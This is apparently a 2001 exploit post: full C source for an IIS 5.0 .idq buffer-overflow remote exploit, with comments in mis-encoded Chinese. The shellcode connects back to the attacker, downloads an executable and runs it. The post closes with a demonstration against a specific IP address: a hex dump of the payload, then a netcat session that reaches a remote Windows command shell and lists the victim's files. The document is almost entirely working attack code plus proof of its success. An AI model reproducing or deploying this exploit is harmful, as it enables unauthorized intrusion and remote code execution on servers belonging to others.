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by isno([email protected])

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-------------------------------idq.c---------------------------------------
/*
IIS5.0 .idq overrun remote exploit
Programmed by hsj : 01.06.21

code flow:
overrun -> jmp or call ebx -> jmp 8 ->
check shellcode addr and jump to there ->
shellcode -> make back channel -> download & exec code
*/
/*
Modified by isno
¶ÔÖÐÎÄ°æWIN2k + IIS 5.0 + SP0¹¥»÷³É¹¦£¡
ÔÚRedHat6.2ÉϱàÒë
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define RET 0x77e4ac97 /* jmp or call ebx */
/* ÕâÊÇÖÐÎÄ°æWIN2K£¨Ã»Óа²×°SP£©ÖÐjmp ebxµÄµØÖ·*/

#define GMHANDLEA 0x77e756db /* Address of GetModuleHandleA */
#define GPADDRESS 0x77e7564b /* Address of GetProcAddress */
/*ÖÐÎÄ°æGetModuleHandleAºÍGetProcAddressµÄµØÖ·*/
/*ÕâÁ½¸öAPIµÄµØÖ·¹Ì¶¨ÁË£¬ÕâÑùͨÓÃÐÔ²»ºÃ£¬Æäʵ¿ÉÒÔÓÃshellcodeÀ´ËÑË÷*/

#define GMHANDLEA_OFFSET 24
/*GetModuleHandleAµÄµØÖ·ÔÚshellcodeÖеÄÆ«ÒÆλÖÃ*/

#define GPADDRESS_OFFSET 61
/*ͬÉÏ*/

#define OFFSET 234 /* exception handler offset */
/*
×÷ÕßÑ¡ÔñÁ˸²¸ÇSEH£¬ÕâÑù¿ÉÒÔ±ÜÃ⸲¸ÇµôijЩÐβζøÒýÆðµÄ´íÎó£¬
µ«¸ù¾ÝÎҵIJâÊÔ£¬¸²¸ÇRETÒ²ÊÇÒ»ÑùµÄ
*/
#define NOP 0x41

#define MASKING 1
#if MASKING
#define PORTMASK 0x4141
#define ADDRMASK 0x41414141
#define PORTMASK_OFFSET 128
#define ADDRMASK_OFFSET 133
#endif
/*×öÁËһЩ±àÂ룬ÒÔÃâµØÖ·»ò¶Ë¿ÚÖл¹ÓÐ×Ö½Ú¶ø½Ø¶Ïshellcode*/

#define PORT 555
/*shellcodeÒªÁ¬½ÓµÄ¶Ë¿Ú£¬²»ÒªÓÃ80£¬ÒòΪ80Ò»°ã¶¼±»Õ¼ÓÃÁË*/

#define ADDR ""111.111.111.111""
/*
£¡£¡£¡×¢Ò⣺ÉÏÃæÕâ¸öµØ·½ÊDZØÐëÒª¸ü¸ÄµÄµØ·½£¡£¡£¡
ÕâÊÇÄã·¢Æð¹¥»÷µÄÖ÷»úµØÖ·£¬¾ÍÊÇÄãÔËÐй¥»÷³ÌÐòµÄÄÇ̨Ö÷»ú¡£
*/

#define PORT_OFFSET 115
#define ADDR_OFFSET 120
/*¶¼ÊÇһЩƫÒÆÁ¿*/

unsigned char shellcode[]=
""x5Bx33xC0x40x40xC1xE0x09x2BxE0x33xC9x41x41x33xC0""
""x51x53x83xC3x06x88x03xB8xDDxCCxBBxAAxFFxD0x59x50""
""x43xE2xEBx33xEDx8BxF3x5Fx33xC0x80x3Bx2Ex75x1Ex88""
""x03x83xFDx04x75x04x8Bx7Cx24x10x56x57xB8xDDxCCxBB""
""xAAxFFxD0x50x8Dx73x01x45x83xFDx08x74x03x43xEBxD8""
""x8Dx74x24x20x33xC0x50x40x50x40x50x8Bx46xFCxFFxD0""
""x8BxF8x33xC0x40x40x66x89x06xC1xE0x03x50x56x57x66""
""xC7x46x02xBBxAAxC7x46x04x44x33x22x11""
#if MASKING
""x66x81x76x02x41x41x81x76x04x41x41x41x41""
#endif
""x8Bx46xF8xFFxD0x33xC0""
""xC7x06x5Cx61x61x2ExC7x46x04x65x78x65x41x88x46x07""
""x66xB8x80x01x50x66xB8x01x81x50x56x8Bx46xECxFFxD0""
""x8BxD8x33xC0x50x40xC1xE0x09x50x8Dx4Ex08x51x57x8B""
""x46xF4xFFxD0x85xC0x7Ex0Ex50x8Dx4Ex08x51x53x8Bx46""
""xE8xFFxD0x90xEBxDCx53x8Bx46xE4xFFxD0x57x8Bx46xF0""
""xFFxD0x33xC0x50x56x56x8Bx46xE0xFFxD0x33xC0xFFxD0"";
/*shellcodeʵÏÖÁ¬½Óµ½¹¥»÷¶Ë²¢ÏÂÔسÌÐòµÄ¹¦ÄÜ£¬Õâ¸ö³ÌÐò±ØÐëÔÚ¹¥»÷¶ËÖ÷»úÉÏ*/

unsigned char storage[]=
""xEBx02""
""xEBx4E""
""xE8xF9xFFxFFxFF""
""msvcrt.ws2_32.socket.connect.recv.closesocket.""
""_open._write._close._execl."";
/*ÕâÊÇÇ°ÃæµÄshellcodeÓÃÀ´Ìøµ½ºóÃ沢Ѱַ×Ö·û´®*/

unsigned char forwardjump[]=
""%u08eb"";
/*ÕâÊǸ²¸ÇÒì³£½á¹¹µÄjmp 08h£¬ÓÃÀ´Ìøµ½ºóÃæÑ°Ö·shellcodeµÄÄǶδúÂë*/
/*
×÷ÕßÔÚÇ°Ãæ¼ÓÁËÒ»¸ö%u·ûºÅ£¬ÕâÑù¾Í¿ÉÒÔÃâÓÚ±»À©Õ¹³É¿í×Ö·û£¬Õâ·½·¨
Ì«ÃîÁË£¡ÖÁÓÚIISÊÇÕâÑù´¦Àí%uµÄ£¬¿ÉÒԲμûbbs.nsfocus.comÉÏÔ¬¸ç·´»ã±à
µÄ´úÂë¡£ºóÃæµÄ·µ»ØµØÖ·ºÍÌøתshellcodeµÄ´úÂëÒ²×÷ÁËͬÑùµÄ´¦Àí¡£
*/

unsigned char jump_to_shell[]=
""%uC033%uB866%u031F%u0340%u8BD8%u8B03""
""%u6840%uDB33%u30B3%uC303%uE0FF"";
/*
Ìøתµ½shellcodeÈ¥£¬ÎÒ²»Ò»¾ä¾äµÄ½âÊÍÁË£¬Èç¹ûÓÐÐËȤ¿ÉÒÔ×Ô¼º¿´£¬
×¢ÒâÿÁ½¸ö×Ö½Ú¶¼ÊÇ·´µÄ£¬%uC033ÔÚת»»ºó±ä³ÉÁËx33xC0¡£
*/

unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;

if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
/*ÓòÃû->IP*/

int make_connection(char *address,int port)
{
struct sockaddr_in server,target;
int s,i,bf;
fd_set wd;
struct timeval tv;

s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
memset((char *)&server,0,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = 0;

target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(address);
if(target.sin_addr.s_addr==0)
{
close(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctl(s,FIONBIO,&bf);
tv.tv_sec = 10;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
close(s);
return -3;
}
if(i==0)
{
close(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
close(s);
errno = bf;
return -5;
}
ioctl(s,FIONBIO,&bf);
return s;
}
/*ÉÏÃæÊÇÁ¬½ÓÖ÷»úµÄº¯Êý*/

/*
ÏÂÃæÕâ¸öº¯ÊýºÜÖØÒª£¬Ëü¼àÌýÔÚÇ°Ã涨ÒåµÄÄǸöµÄ¶Ë¿Ú£¬ÎÒÓÃÁË555£¬
Ò»µ©ÓÐÖ÷»úÁ¬½Ó¹ýÀ´£¬ºóÃæÄǸö½ø³Ì¾Í°Ñ±¾µØµÄÒ»¸ö³ÌÐò·¢Ë͹ýÈ¥£¬
Õâ¸ö³ÌÐòµ±È»Ò²ÊÇÔÚÔËÐÐʱָ¶¨µÄ¡£
*/
int get_connection(int port)
{
struct sockaddr_in local,remote;
int lsock,csock,len,reuse_addr;

lsock = socket(AF_INET,SOCK_STREAM,0);
if(lsock<0)
{
perror(""socket"");
exit(1);
}
reuse_addr = 1;
if(setsockopt(lsock,SOL_SOCKET,SO_REUSEADDR,(char *)&reuse_addr,sizeof(reuse_addr))<0)
{
perror(""setsockopt"");
close(lsock);
exit(1);
}
memset((char *)&local,0,sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(port);
local.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(lsock,(struct sockaddr *)&local,sizeof(local))<0)
{
perror(""bind"");
close(lsock);
exit(1);
}
if(listen(lsock,1)<0)
{
perror(""listen"");
close(lsock);
exit(1);
}
retry:
len = sizeof(remote);
csock = accept(lsock,(struct sockaddr *)&remote,&len);
if(csock<0)
{
if(errno!=EINTR)
{
perror(""accept"");
close(lsock);
exit(1);
}
else
goto retry;
}
close(lsock);
return csock;
}

int main(int argc,char *argv[])
{
int i,j,s,pid;
unsigned int cb;
unsigned short port;
char *p,buf[512],buf2[512],buf3[2048];
FILE *fp;

if(argc!=3)
{
printf(""usage: $ %s ip file "",argv[0]);
return -1;
}
if((fp=fopen(argv[2],""rb""))==0)
return -2;

if(!(cb=resolve(ADDR)))
return -3;

if((pid=fork())<0)
return -4;

/*
¿ªÁ½¸ö½ø³ÌÒ»¸öÓÃÓÚ¹¹Ôì²¢·¢ËÍshellcode£¬
ÁíÒ»¸ö¼àÌýÖ¸¶¨¶Ë¿Ú²¢µÈ´ý·¢ËÍÊý¾Ý¡£
*/
if(pid)
{
fclose(fp);
s = make_connection(argv[1],80);
if(s<0)
{
printf(""connect error:[%d]. "",s);
kill(pid,SIGTERM);
return -5;
}

j = strlen(shellcode);
*(unsigned int *)&shellcode[GMHANDLEA_OFFSET] = GMHANDLEA;
*(unsigned int *)&shellcode[GPADDRESS_OFFSET] = GPADDRESS;
port = htons(PORT);
#if MASKING
port ^= PORTMASK;
cb ^= ADDRMASK;
*(unsigned short *)&shellcode[PORTMASK_OFFSET] = PORTMASK;
*(unsigned int *)&shellcode[ADDRMASK_OFFSET] = ADDRMASK;
#endif
*(unsigned short *)&shellcode[PORT_OFFSET] = port;
*(unsigned int *)&shellcode[ADDR_OFFSET] = cb;
for(i=0;i {
if((shellcode[i]==0x0a)||
(shellcode[i]==0x0d)||
(shellcode[i]==0x3a))
break;
}
if(i!=j)
{
printf(""bad portno or ip address... "");
close(s);
kill(pid,SIGTERM);
return -6;
}

memset(buf,1,sizeof(buf));
p = &buf[OFFSET-2];
sprintf(p,""%s"",forwardjump);
p += strlen(forwardjump);
*p++ = 1;
*p++ = ''%'';
*p++ = ''u'';
sprintf(p,""%04x"",(RET>>0)&0xffff);
p += 4;
*p++ = ''%'';
*p++ = ''u'';
sprintf(p,""%04x"",(RET>>16)&0xffff);
p += 4;
*p++ = 1;
sprintf(p,""%s"",jump_to_shell);

memset(buf2,NOP,sizeof(buf2));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-strlen(storage)-1],storage,strlen(storage));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-1],shellcode,strlen(shellcode));
buf2[sizeof(buf2)-1] = 0;

sprintf(buf3,""GET /a.idq?%s=a HTTP/1.0 Shell: %s "",buf,buf2);

/*
ÉÏÃæ¾ÍÊǹ¹ÔìÒç³ö´®£¬Òç³ö´®ÔÚ±»À©Õ¹²¢¿½±´ÈëIISµÄ¶ÑÕ»ºóÐÎʽÈçÏ£º
..............| Òì³£Á´ |´¦ÀíÖ¸Õë|.................
010001000100.....|eb080100|97ace477|010033c0.........
|jmp 08h | jmp ebx| jmp shellcode
*/

write(s,buf3,strlen(buf3));

printf(""---"");
for(i=0;i {
if((i%16)==0)
printf("" "");
printf(""%02X "",buf3[i]&0xff);
}
printf("" --- "");

wait(0);
sleep(1);
shutdown(s,2);
close(s);

printf(""Done. "");
}
/*ÏÂÃæÕâ¸ö½ø³ÌÓÃÓÚ½¨Á¢Á¬½Ó£¬²¢´ò¿ªÖ¸¶¨Îļþ²¢·¢ËͳöÈ¥*/
else
{
s = get_connection(PORT);
j = 0;
while((i=fread(buf,1,sizeof(buf),fp)))
{
write(s,buf,i);
j += i;
printf(""."");
fflush(stdout);
}
fclose(fp);
printf("" %d bytes send... "",j);

shutdown(s,2);
close(s);
}

return 0;
}
-------------------------idq.c-----cut here-----------------------------

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£¡£¡£¡×¢ÒâÒ»¶¨ÏȸÄһϳÌÐòÖеÄ#define ADDR ""111.111.111.111""ΪÄãÕą̂
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È»ºóÉÏ´«Ò»¸öncx99.exeµ½Õą̂Ö÷»ú·ÅÔÚͬһ¸öĿ¼Ï£º
bash# ls -al
total 90
drwxrwxrwt 7 root root 1024 Aug 30 05:25 .
drwxr-xr-x 17 root root 1024 Aug 28 15:47 ..
drwxrwxrwt 2 xfs xfs 1024 May 14 03:03 .font-unix
-rwxr-xr-x 1 root root 18526 Aug 30 05:25 idq
-rw-r--r-- 1 root root 8149 Aug 30 05:25 idq.c
-rw-rw-rw- 1 root root 59392 Aug 17 1999 ncx99.exe
¼ÙÉèÒª¹¥»÷61.135.19.222£¬¾ÍÕâÑù£º
bash# ./idq 61.135.19.222 ncx99.exe
---
47 45 54 20 2F 61 2E 69 64 71 3F 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 25 75 30 38 65 62 01 25 75 61 63 39 37
25 75 37 37 65 34 01 25 75 43 30 33 33 25 75 42
38 36 36 25 75 30 33 31 46 25 75 30 33 34 30 25
75 38 42 44 38 25 75 38 42 30 33 25 75 36 38 34
30 25 75 44 42 33 33 25 75 33 30 42 33 25 75 43
33 30 33 25 75 45 30 46 46 3D 61 20 48 54 54 50
2F 31 2E 30 0D 0A 53 68 65 6C 6C 3A 20 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 EB 02 EB 4E E8 F9
FF FF FF 6D 73 76 63 72 74 2E 77 73 32 5F 33 32
2E 73 6F 63 6B 65 74 2E 63 6F 6E 6E 65 63 74 2E
72 65 63 76 2E 63 6C 6F 73 65 73 6F 63 6B 65 74
2E 5F 6F 70 65 6E 2E 5F 77 72 69 74 65 2E 5F 63
6C 6F 73 65 2E 5F 65 78 65 63 6C 2E 5B 33 C0 40
40 C1 E0 09 2B E0 33 C9 41 41 33 C0 51 53 83 C3
06 88 03 B8 DB 56 E7 77 FF D0 59 50 43 E2 EB 33
ED 8B F3 5F 33 C0 80 3B 2E 75 1E 88 03 83 FD 04
75 04 8B 7C 24 10 56 57 B8 4B 56 E7 77 FF D0 50
8D 73 01 45 83 FD 08 74 03 43 EB D8 8D 74 24 20
33 C0 50 40 50 40 50 8B 46 FC FF D0 8B F8 33 C0
40 40 66 89 06 C1 E0 03 50 56 57 66 C7 46 02 43
6A C7 46 04 8B 2D 63 51 66 81 76 02 41 41 81 76
04 41 41 41 41 8B 46 F8 FF D0 33 C0 C7 06 5C 61
61 2E C7 46 04 65 78 65 41 88 46 07 66 B8 80 01
50 66 B8 01 81 50 56 8B 46 EC FF D0 8B D8 33 C0
50 40 C1 E0 09 50 8D 4E 08 51 57 8B 46 F4 FF D0
85 C0 7E 0E 50 8D 4E 08 51 53 8B 46 E8 FF D0 90
EB DC 53 8B 46 E4 FF D0 57 8B 46 F0 FF D0 33 C0
50 56 56 8B 46 E0 FF D0 33 C0 FF D0 0D 0A 0D 0A
---
...............................................................................
....................................
59392 bytes send...
Done.
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bash# nc -vv 61.135.19.222 99
61.135.19.222: inverse host lookup failed: Unknown host
(UNKNOWN) [61.135.19.222] 99 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) °æȨËùÓÐ 1985-1998 Microsoft Corp.

C:WINNTsystem32>cd
cd

C:>dir
dir
Çý¶¯Æ÷ C ÖеľíûÓбêÇ©¡£
¾íµÄÐòÁкÅÊÇ CC31-6B3C

C: µÄĿ¼

1997-01-11 16:54 297 1.pl
2001-07-01 03:08 59,392 aa.exe
1997-01-06 16:44 Documents and Settings
2001-06-30 16:21 download
2001-05-02 19:17 Inetpub
2001-05-21 16:35 mp3
2001-05-02 21:48 mysql
2001-05-02 21:45 Perl
2001-05-02 21:57 php
2001-06-30 16:24 Program Files
2001-06-22 01:47 tool
2001-06-30 16:23 WINNT
.........
.........
.........
28 ¸öÎļþ 383,912 ×Ö½Ú
13 ¸öĿ¼ 353,680,384 ¿ÉÓÃ×Ö½Ú

C:>exit
sent 13, rcvd 2326
bash#
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